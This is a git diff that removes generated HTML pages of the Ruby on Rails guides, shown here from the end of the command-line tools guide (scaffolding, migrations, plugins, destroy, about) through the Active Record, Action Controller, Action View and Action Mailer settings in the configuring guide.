- create app/views/greetings/hello<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb</tt></pre></div></div>
-<div class="paragraph"><p>Look there! Now what all did this generate? It looks like it made sure a bunch of directories were in our application, and created a controller file, a functional test file, a helper for the view, and a view file.</p></div>
-<div class="paragraph"><p>Let&#8217;s check out the controller and modify it a little (in <tt>app/controllers/greeting_controller.rb</tt>):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> GreetingController <span style="color: #990000">&lt;</span> ApplicationController
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> hello
- <span style="color: #009900">@message</span> <span style="color: #990000">=</span> <span style="color: #FF0000">"Hello, how are you today? I am exuberant!"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Then the view, to display our nice message (in <tt>app/views/greeting/hello.html.erb</tt>):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>A Greeting for You!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>&lt;%= @message %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Deal. Go check it out in your browser. Fire up your server. Remember? <tt>./script/server</tt> at the root of your Rails application should do it.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/server
-<span style="color: #990000">=&gt;</span> Booting WEBrick<span style="color: #990000">...</span></tt></pre></div></div>
-<div class="paragraph"><p>The URL will be <tt>http://localhost:3000/greetings/hello</tt>. I&#8217;ll wait for you to be suitably impressed.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">With a normal, plain-old Rails application, your URLs will generally follow the pattern of <a href="http://(host)/(controller)/(action">http://(host)/(controller)/(action</a>), and a URL like <a href="http://(host)/(controller">http://(host)/(controller</a>) will hit the <strong>index</strong> action of that controller.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>"What about data, though?", you ask over a cup of coffee. Rails comes with a generator for data models too. Can you guess its generator name?</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/generate model
-Usage<span style="color: #990000">:</span> <span style="color: #990000">.</span>/script/generate model ModelName <span style="color: #990000">[</span>field<span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">type</span></span><span style="color: #990000">,</span> field<span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">type</span></span><span style="color: #990000">]</span>
-
-<span style="color: #990000">...</span>
-
-Examples<span style="color: #990000">:</span>
- `<span style="color: #990000">.</span>/script/generate model account`
-
- creates an Account model<span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">,</span> fixture<span style="color: #990000">,</span> and migration<span style="color: #990000">:</span>
- Model<span style="color: #990000">:</span> app/models/account<span style="color: #990000">.</span>rb
- Test<span style="color: #990000">:</span> test/unit/account_test<span style="color: #990000">.</span>rb
- Fixtures<span style="color: #990000">:</span> test/fixtures/accounts<span style="color: #990000">.</span>yml
- Migration<span style="color: #990000">:</span> db/migrate/XXX_add_accounts<span style="color: #990000">.</span>rb
-
- `<span style="color: #990000">.</span>/script/generate model post title<span style="color: #990000">:</span>string body<span style="color: #990000">:</span>text published<span style="color: #990000">:</span>boolean`
-
- creates a Post model with a string title<span style="color: #990000">,</span> text body<span style="color: #990000">,</span> and published flag<span style="color: #990000">.</span></tt></pre></div></div>
-<div class="paragraph"><p>But instead of generating a model directly (which we&#8217;ll be doing later), let&#8217;s set up a scaffold. A <strong>scaffold</strong> in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above.</p></div>
-<div class="paragraph"><p>Let&#8217;s set up a simple resource called "HighScore" that will keep track of our highest score on video games we play.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/generate scaffold HighScore game<span style="color: #990000">:</span>string score<span style="color: #990000">:</span>integer
- exists app/models<span style="color: #990000">/</span>
- exists app/controllers<span style="color: #990000">/</span>
- exists app/helpers<span style="color: #990000">/</span>
- create app/views/high_scores
- create app/views/layouts<span style="color: #990000">/</span>
- exists test/functional<span style="color: #990000">/</span>
- create test/unit<span style="color: #990000">/</span>
- create public/stylesheets<span style="color: #990000">/</span>
- create app/views/high_scores/index<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
- create app/views/high_scores/show<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
- create app/views/high_scores/new<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
- create app/views/high_scores/edit<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
- create app/views/layouts/high_scores<span style="color: #990000">.</span>html<span style="color: #990000">.</span>erb
- create public/stylesheets/scaffold<span style="color: #990000">.</span>css
- create app/controllers/high_scores_controller<span style="color: #990000">.</span>rb
- create test/functional/high_scores_controller_test<span style="color: #990000">.</span>rb
- create app/helpers/high_scores_helper<span style="color: #990000">.</span>rb
- route map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>high_scores
-dependency model
- exists app/models<span style="color: #990000">/</span>
- exists test/unit<span style="color: #990000">/</span>
- create test/fixtures<span style="color: #990000">/</span>
- create app/models/high_score<span style="color: #990000">.</span>rb
- create test/unit/high_score_test<span style="color: #990000">.</span>rb
- create test/fixtures/high_scores<span style="color: #990000">.</span>yml
- exists db/migrate
- create db/migrate<span style="color: #990000">/</span>20081217071914_create_high_scores<span style="color: #990000">.</span>rb</tt></pre></div></div>
-<div class="paragraph"><p>Taking it from the top - the generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the <tt>high_scores</tt> table and fields), takes care of the route for the <strong>resource</strong>, and new tests for everything.</p></div>
-<div class="paragraph"><p>The migration requires that we <strong>migrate</strong>, that is, run some Ruby code (living in that <tt>20081217071914_create_high_scores.rb</tt>) to modify the schema of our database. Which database? The sqlite3 database that Rails will create for you when we run the <tt>rake db:migrate</tt> command. We&#8217;ll talk more about Rake in-depth in a little while.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Hey. Install the sqlite3-ruby gem while you&#8217;re at it. <tt>gem install sqlite3-ruby</tt></td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake db<span style="color: #990000">:</span>migrate
-<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">in</span></span> /home/commandsapp<span style="color: #990000">)</span>
-<span style="color: #990000">==</span> CreateHighScores<span style="color: #990000">:</span> migrating <span style="color: #990000">===============================================</span>
--- create_table<span style="color: #990000">(:</span>high_scores<span style="color: #990000">)</span>
- -<span style="color: #990000">&gt;</span> <span style="color: #993399">0</span><span style="color: #990000">.</span>0070s
-<span style="color: #990000">==</span> CreateHighScores<span style="color: #990000">:</span> migrated <span style="color: #990000">(</span><span style="color: #993399">0</span><span style="color: #990000">.</span>0077s<span style="color: #990000">)</span> <span style="color: #990000">======================================</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Let&#8217;s talk about unit tests. Unit tests are code that tests and makes assertions about code. In unit testing, we take a little part of code, say a method of a model, and test its inputs and outputs. Unit tests are your friend. The sooner you make peace with the fact that your quality of life will drastically increase when you unit test your code, the better. Seriously. We&#8217;ll make one in a moment.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>Let&#8217;s see the interface Rails created for us. ./script/server; <a href="http://localhost:3000/high_scores">http://localhost:3000/high_scores</a></p></div>
-<div class="paragraph"><p>We can create new high scores (55,160 on Space Invaders!)</p></div>
-<h3 id="_console">1.4. console</h3>
-<div class="paragraph"><p>The <tt>console</tt> command lets you interact with your Rails application from the command line. On the underside, <tt>script/console</tt> uses IRB, so if you&#8217;ve ever used it, you&#8217;ll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.</p></div>
-<h3 id="_dbconsole">1.5. dbconsole</h3>
-<div class="paragraph"><p><tt>dbconsole</tt> figures out which database you&#8217;re using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL, PostgreSQL, SQLite and SQLite3.</p></div>
-<h3 id="_plugin">1.6. plugin</h3>
-<div class="paragraph"><p>The <tt>plugin</tt> command simplifies plugin management; think a miniature version of the Gem utility. Let&#8217;s walk through installing a plugin. You can call the sub-command <strong>discover</strong>, which sifts through repositories looking for plugins, or call <strong>source</strong> to add a specific repository of plugins, or you can specify the plugin location directly.</p></div>
-<div class="paragraph"><p>Let&#8217;s say you&#8217;re creating a website for a client who wants a small accounting system. Every event having to do with money must be logged, and must never be deleted. Wouldn&#8217;t it be great if we could override the behavior of a model to never actually take its record out of the database, but <strong>instead</strong>, just set a field?</p></div>
-<div class="paragraph"><p>There is such a thing! The plugin we&#8217;re installing is called "acts_as_paranoid", and it lets models implement a "deleted_at" column that gets set when you call destroy. Later, when calling find, the plugin will tack on a database check to filter out "deleted" things.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/plugin install http<span style="color: #990000">:</span>//svn<span style="color: #990000">.</span>techno-weenie<span style="color: #990000">.</span>net/projects/plugins/acts_as_paranoid
-<span style="color: #990000">+</span> <span style="color: #990000">.</span>/CHANGELOG
-<span style="color: #990000">+</span> <span style="color: #990000">.</span>/MIT-LICENSE
-<span style="color: #990000">...</span>
-<span style="color: #990000">...</span></tt></pre></div></div>
-<h3 id="_runner">1.7. runner</h3>
-<div class="paragraph"><p><tt>runner</tt> runs Ruby code in the context of Rails non-interactively. For instance:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/runner <span style="color: #FF0000">"Model.long_running_method"</span></tt></pre></div></div>
-<h3 id="_destroy">1.8. destroy</h3>
-<div class="paragraph"><p>Think of <tt>destroy</tt> as the opposite of <tt>generate</tt>. It&#8217;ll figure out what generate did, and undo it. Believe you-me, the creation of this tutorial used this command many times!</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/generate model Oops
- exists app/models<span style="color: #990000">/</span>
- exists test/unit<span style="color: #990000">/</span>
- exists test/fixtures<span style="color: #990000">/</span>
- create app/models/oops<span style="color: #990000">.</span>rb
- create test/unit/oops_test<span style="color: #990000">.</span>rb
- create test/fixtures/oops<span style="color: #990000">.</span>yml
- exists db/migrate
- create db/migrate<span style="color: #990000">/</span>20081221040817_create_oops<span style="color: #990000">.</span>rb
-$ <span style="color: #990000">.</span>/script/destroy model Oops
- notempty db/migrate
- notempty db
- rm db/migrate<span style="color: #990000">/</span>20081221040817_create_oops<span style="color: #990000">.</span>rb
- rm test/fixtures/oops<span style="color: #990000">.</span>yml
- rm test/unit/oops_test<span style="color: #990000">.</span>rb
- rm app/models/oops<span style="color: #990000">.</span>rb
- notempty test/fixtures
- notempty <span style="font-weight: bold"><span style="color: #0000FF">test</span></span>
- notempty test/unit
- notempty <span style="font-weight: bold"><span style="color: #0000FF">test</span></span>
- notempty app/models
- notempty app</tt></pre></div></div>
-<h3 id="_about">1.9. about</h3>
-<div class="paragraph"><p>Check it: Version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application&#8217;s folder, the current Rails environment name, your app&#8217;s database adapter, and schema version! <tt>about</tt> is useful when you need to ask help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ <span style="color: #990000">.</span>/script/about
-About your application<span style="color: #FF0000">'s environment</span>
-<span style="color: #FF0000">Ruby version 1.8.6 (i486-linux)</span>
-<span style="color: #FF0000">RubyGems version 1.3.1</span>
-<span style="color: #FF0000">Rails version 2.2.0</span>
-<span style="color: #FF0000">Active Record version 2.2.0</span>
-<span style="color: #FF0000">Action Pack version 2.2.0</span>
-<span style="color: #FF0000">Active Resource version 2.2.0</span>
-<span style="color: #FF0000">Action Mailer version 2.2.0</span>
-<span style="color: #FF0000">Active Support version 2.2.0</span>
-<span style="color: #FF0000">Edge Rails revision unknown</span>
-<span style="color: #FF0000">Application root /home/commandsapp</span>
-<span style="color: #FF0000">Environment development</span>
-<span style="color: #FF0000">Database adapter sqlite3</span>
-<span style="color: #FF0000">Database schema version 20081217073400</span></tt></pre></div></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/configuring.html b/railties/doc/guides/html/configuring.html
deleted file mode 100644
index 3cd41f100e..0000000000
--- a/railties/doc/guides/html/configuring.html
+++ /dev/null
@@ -1,352 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Configuring Rails Applications</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_locations_for_initialization_code">Locations for Initialization Code</a>
- </li>
- <li>
- <a href="#_using_a_preinitializer">Using a Preinitializer</a>
- </li>
- <li>
- <a href="#_configuring_rails_components">Configuring Rails Components</a>
- <ul>
-
- <li><a href="#_configuring_active_record">Configuring Active Record</a></li>
-
- <li><a href="#_configuring_action_controller">Configuring Action Controller</a></li>
-
- <li><a href="#_configuring_action_view">Configuring Action View</a></li>
-
- <li><a href="#_configuring_action_mailer">Configuring Action Mailer</a></li>
-
- <li><a href="#_configuring_active_resource">Configuring Active Resource</a></li>
-
- <li><a href="#_configuring_active_support">Configuring Active Support</a></li>
-
- <li><a href="#_configuring_active_model">Configuring Active Model</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_using_initializers">Using Initializers</a>
- </li>
- <li>
- <a href="#_using_an_after_initializer">Using an After-Initializer</a>
- </li>
- <li>
- <a href="#_rails_environment_settings">Rails Environment Settings</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Configuring Rails Applications</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Adjust the behavior of your Rails applications
-</p>
-</li>
-<li>
-<p>
-Add additional code to be run at application start time
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The first edition of this Guide was written from the Rails 2.3 source code. While the information it contains is broadly applicable to Rails 2.2, backwards compatibility is not guaranteed.</td>
-</tr></table>
-</div>
-</div>
-</div>
-<h2 id="_locations_for_initialization_code">1. Locations for Initialization Code</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails offers (at least) five good spots to place initialization code:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Preinitializers
-</p>
-</li>
-<li>
-<p>
-environment.rb
-</p>
-</li>
-<li>
-<p>
-Environment-specific Configuration Files
-</p>
-</li>
-<li>
-<p>
-Initializers (load_application_initializers)
-</p>
-</li>
-<li>
-<p>
-After-Initializers
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_using_a_preinitializer">2. Using a Preinitializer</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in <tt>RAILS_ROOT/config/preinitializer.rb</tt>, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file.</p></div>
-</div>
-<h2 id="_configuring_rails_components">3. Configuring Rails Components</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The <tt>environment.rb</tt> and environment-specific configuration files (such as <tt>config/environments/production.rb</tt>) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 <tt>environment.rb</tt> file includes one setting:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>time_zone <span style="color: #990000">=</span> <span style="color: #FF0000">'UTC'</span></tt></pre></div></div>
-<div class="paragraph"><p>This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same <tt>config</tt> object:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>config<span style="color: #990000">.</span>active_record<span style="color: #990000">.</span>colorize_logging <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Rails will use that particular setting to configure Active Record.</p></div>
-<h3 id="_configuring_active_record">3.1. Configuring Active Record</h3>
-<div class="paragraph"><p><tt>ActiveRecord::Base</tt> includes a variety of configuration options:</p></div>
-<div class="paragraph"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling <tt>logger</tt> on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.</p></div>
-<div class="paragraph"><p><tt>primary_key_prefix_type</tt> lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named <tt>id</tt> (and this configuration option doesn&#8217;t need to be set.) There are two other choices:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:table_name</tt> would make the primary key for the Customer class <tt>customerid</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:table_name_with_underscore</tt> would make the primary key for the Customer class <tt>customer_id</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p><tt>table_name_prefix</tt> lets you set a global string to be prepended to table names. If you set this to <tt>northwest_</tt>, then the Customer class will look for <tt>northwest_customers</tt> as its table. The default is an empty string.</p></div>
-<div class="paragraph"><p><tt>table_name_suffix</tt> lets you set a global string to be appended to table names. If you set this to <tt>_northwest</tt>, then the Customer class will look for <tt>customers_northwest</tt> as its table. The default is an empty string.</p></div>
-<div class="paragraph"><p><tt>pluralize_table_names</tt> specifies whether Rails will look for singular or plural table names in the database. If set to <tt>true</tt> (the default), then the Customer class will use the <tt>customers</tt> table. If set to <tt>false</tt>, then the Customers class will use the <tt>customer</tt> table.</p></div>
-<div class="paragraph"><p><tt>colorize_logging</tt> (true by default) specifies whether or not to use ANSI color codes when logging information from ActiveRecord.</p></div>
-<div class="paragraph"><p><tt>default_timezone</tt> determines whether to use <tt>Time.local</tt> (if set to <tt>:local</tt>) or <tt>Time.utc</tt> (if set to <tt>:utc</tt>) when pulling dates and times from the database. The default is <tt>:local</tt>.</p></div>
-<div class="paragraph"><p><tt>schema_format</tt> controls the format for dumping the database schema to a file. The options are <tt>:ruby</tt> (the default) for a database-independent version that depends on migrations, or <tt>:sql</tt> for a set of (potentially database-dependent) SQL statements.</p></div>
-<div class="paragraph"><p><tt>timestamped_migrations</tt> controls whether migrations are numbered with serial integers or with timestamps. The default is <tt>true</tt>, to use timestamps, which are preferred if there are multiple developers working on the same application.</p></div>
-<div class="paragraph"><p><tt>lock_optimistically</tt> controls whether ActiveRecord will use optimistic locking. By default this is <tt>true</tt>.</p></div>
-<div class="paragraph"><p>The MySQL adapter adds one additional configuration option:</p></div>
-<div class="paragraph"><p><tt>ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans</tt> controls whether ActiveRecord will consider all <tt>tinyint(1)</tt> columns in a MySQL database to be booleans. By default this is <tt>true</tt>.</p></div>
-<div class="paragraph"><p>The schema dumper adds one additional configuration option:</p></div>
-<div class="paragraph"><p><tt>ActiveRecord::SchemaDumper.ignore_tables</tt> accepts an array of tables that should <em>not</em> be included in any generated schema file. This setting is ignored unless <tt>ActiveRecord::Base.schema_format == :ruby</tt>.</p></div>
-<h3 id="_configuring_action_controller">3.2. Configuring Action Controller</h3>
-<div class="paragraph"><p>ActionController::Base includes a number of configuration settings:</p></div>
-<div class="paragraph"><p><tt>asset_host</tt> provides a string that is prepended to all of the URL-generating helpers in <tt>AssetHelper</tt>. This is designed to allow moving all javascript, CSS, and image files to a separate asset host.</p></div>
-<div class="paragraph"><p><tt>consider_all_requests_local</tt> is generally set to <tt>true</tt> during development and <tt>false</tt> during production; if it is set to <tt>true</tt>, then any error will cause detailed debugging information to be dumped in the HTTP response. For finer-grained control, set this to <tt>false</tt> and implement <tt>local_request?</tt> to specify which requests should provide debugging information on errors.</p></div>
-<div class="paragraph"><p><tt>allow_concurrency</tt> should be set to <tt>true</tt> to allow concurrent (threadsafe) action processing. Set to <tt>false</tt> by default.</p></div>
-<div class="paragraph"><p><tt>param_parsers</tt> provides an array of handlers that can extract information from incoming HTTP requests and add it to the <tt>params</tt> hash. By default, parsers for multipart forms, URL-encoded forms, XML, and JSON are active.</p></div>
-<div class="paragraph"><p><tt>default_charset</tt> specifies the default character set for all renders. The default is "utf-8".</p></div>
-<div class="paragraph"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Controller. Set to nil to disable logging.</p></div>
-<div class="paragraph"><p><tt>resource_action_separator</tt> gives the token to be used between resources and actions when building or interpreting RESTful URLs. By default, this is "/".</p></div>
-<div class="paragraph"><p><tt>resource_path_names</tt> is a hash of default names for several RESTful actions. By default, the new action is named <tt>new</tt> and the edit action is named <tt>edit</tt>.</p></div>
-<div class="paragraph"><p><tt>request_forgery_protection_token</tt> sets the token parameter name for RequestForgery. Calling <tt>protect_from_forgery</tt> sets it to <tt>:authenticity_token</tt> by default.</p></div>
-<div class="paragraph"><p><tt>optimise_named_routes</tt> turns on some optimizations in generating the routing table. It is set to <tt>true</tt> by default.</p></div>
-<div class="paragraph"><p><tt>use_accept_header</tt> sets the rules for determining the response format. If this is set to <tt>true</tt> (the default) then <tt>respond_to</tt> and <tt>Request#format</tt> will take the Accept header into account. If it is set to false then the request format will be determined solely by examining <tt>params[:format]</tt>. If there is no <tt>format</tt> parameter, then the response format will be either HTML or Javascript depending on whether the request is an AJAX request.</p></div>
-<div class="paragraph"><p><tt>allow_forgery_protection</tt> enables or disables CSRF protection. By default this is <tt>false</tt> in test mode and <tt>true</tt> in all other modes.</p></div>
-<div class="paragraph"><p><tt>relative_url_root</tt> can be used to tell Rails that you are deploying to a subdirectory. The default is <tt>ENV[<em>RAILS_RELATIVE_URL_ROOT</em>]</tt>.</p></div>
-<div class="paragraph"><p>The caching code adds two additional settings:</p></div>
-<div class="paragraph"><p><tt>ActionController::Caching::Pages.page_cache_directory</tt> sets the directory where Rails will create cached pages for your web server. The default is <tt>Rails.public_path</tt> (which is usually set to <tt>RAILS_ROOT + "/public"</tt>).</p></div>
-<div class="paragraph"><p><tt>ActionController::Caching::Pages.page_cache_extension</tt> sets the extension to be used when generating pages for the cache (this is ignored if the incoming request already has an extension). The default is <tt>.html</tt>.</p></div>
-<div class="paragraph"><p>The dispatcher includes one setting:</p></div>
-<div class="paragraph"><p><tt>ActionController::Dispatcher.error_file_path</tt> gives the path where Rails will look for error files such as <tt>404.html</tt>. The default is <tt>Rails.public_path</tt>.</p></div>
-<div class="paragraph"><p>The Active Record session store can also be configured:</p></div>
-<div class="paragraph"><p><tt>CGI::Session::ActiveRecordStore::Session.data_column_name</tt> sets the name of the column to use to store session data. By default it is <em>data</em></p></div>
-<h3 id="_configuring_action_view">3.3. Configuring Action View</h3>
-<div class="paragraph"><p>There are only a few configuration options for Action View, starting with four on <tt>ActionView::Base</tt>:</p></div>
-<div class="paragraph"><p><tt>debug_rjs</tt> specifies whether RJS responses should be wrapped in a try/catch block that alert()s the caught exception (and then re-raises it). The default is <tt>false</tt>.</p></div>
-<div class="paragraph"><p><tt>warn_cache_misses</tt> tells Rails to display a warning whenever an action results in a cache miss on your view paths. The default is <tt>false</tt>.</p></div>
-<div class="paragraph"><p></p></div>
-<div class="paragraph"><p><tt>default_form_builder</tt> tells Rails which form builder to use by default. The default is <tt>ActionView::Helpers::FormBuilder</tt>.</p></div>
-<div class="paragraph"><p>The ERB template handler supplies one additional option:</p></div>
-<div class="paragraph"><p><tt>ActionView::TemplateHandlers::ERB.erb_trim_mode</tt> gives the trim mode to be used by ERB. It defaults to <tt><em>-</em></tt>. See the <a href="http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/">ERB documentation</a> for more information.</p></div>
-<h3 id="_configuring_action_mailer">3.4. Configuring Action Mailer</h3>
-<div class="paragraph"><p>There are a number of settings available on <tt>ActionMailer::Base</tt>:</p></div>
-<div class="paragraph"><p><tt>template_root</tt> gives the root folder for Action Mailer templates.</p></div>
-<div class="paragraph"><p><tt>logger</tt> accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then used to log information from Action Mailer. Set to nil to disable logging.</p></div>
-<div class="paragraph"><p><tt>smtp_settings</tt> allows detailed configuration for the <tt>:smtp</tt> delivery method. It accepts a hash of options, which can include any of these options:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
-</p>
-</li>
-<li>
-<p>
-<tt>:port</tt> - On the off chance that your mail server doesn&#8217;t run on port 25, you can change it.
-</p>
-</li>
-<li>
-<p>
-<tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.
-</p>
-</li>
-<li>
-<p>
-<tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.
-</p>
-</li>
-<li>
-<p>
-<tt>:password</tt> - If your mail server requires authentication, set the password in this setting.
-</p>
-</li>
-<li>
-<p>
-<tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p><tt>sendmail_settings</tt> allows detailed configuration for the <tt>sendmail</tt> delivery method. It accepts a hash of options, which can include any of these options:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
-</p>
-</li>
-<li>
-<p>
-<tt>:arguments</tt> - The command line arguments. Defaults to <tt>-i -t</tt>.
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p><tt>raise_delivery_errors</tt> specifies whether to raise an error if email delivery cannot be completed. It defaults to <tt>true</tt>.</p></div>
-<div class="paragraph"><p><tt>delivery_method</tt> defines the delivery method. The allowed values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, and <tt>:test</tt>.</p></div>
